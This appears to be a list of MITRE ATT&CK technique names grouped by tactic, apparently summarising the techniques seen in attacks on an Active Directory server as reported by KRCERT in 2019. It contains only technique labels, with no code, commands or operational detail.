Execution through Module Load
Exploitation for Client Execution
Scheduled Task
Service Execution
User Execution
Windows Management Instrumentation


Account Manipulation
New Service
Registry Run Keys / Startup Folder
Scheduled Task
Startup items
System Firmware
Windows Management Instrumentation Event Subscription

Privilege Escalation

Bypass User Account Control
New Service
Scheduled Task
Startup items

Defense Evasion

Bypass User Account Control
Code Signing
Disabling Security Tools
DLL Side-Loading
Exploitation for Defense Evasion
Hidden Window
Modify Registry
Obfuscated Files or Information
Software Packing
Virtualization/Sandbox Evasion

Credential Access

Account Manipulation
Input Capture
Input Prompt


Account Discovery
File and Directory Discovery
Network Service Scanning
Network Share Discovery
Permission Groups Discovery
Process Discovery
Query Registry
Remote System Discovery
Security Software Discovery
System Information Discovery
System Network Configuration Discovery
System Network Connections Discovery
System Owner/User Discovery
System Service Discovery
Virtualization/Sandbox Evasion

Lateral Movement

Remote Desktop Protocol
Remote Services


Automated Collection
Data from Local System
Email Collection
Input Capture

Command and Control

Commonly Used Port
Custom Command and Control Protocol
Custom Cryptographic Protocol
Data Encoding
Remote Access Tools
Standard Application Layer Protocol
Standard Cryptographic Protocol


Automated Exfiltration
Data Compressed
Exfiltration Over Alternative Protocol
Exfiltration Over Command and Control Channel


Data Encrypted for Impact


KRCERT – Analysis of Attacks on AD Server (2019.04.17)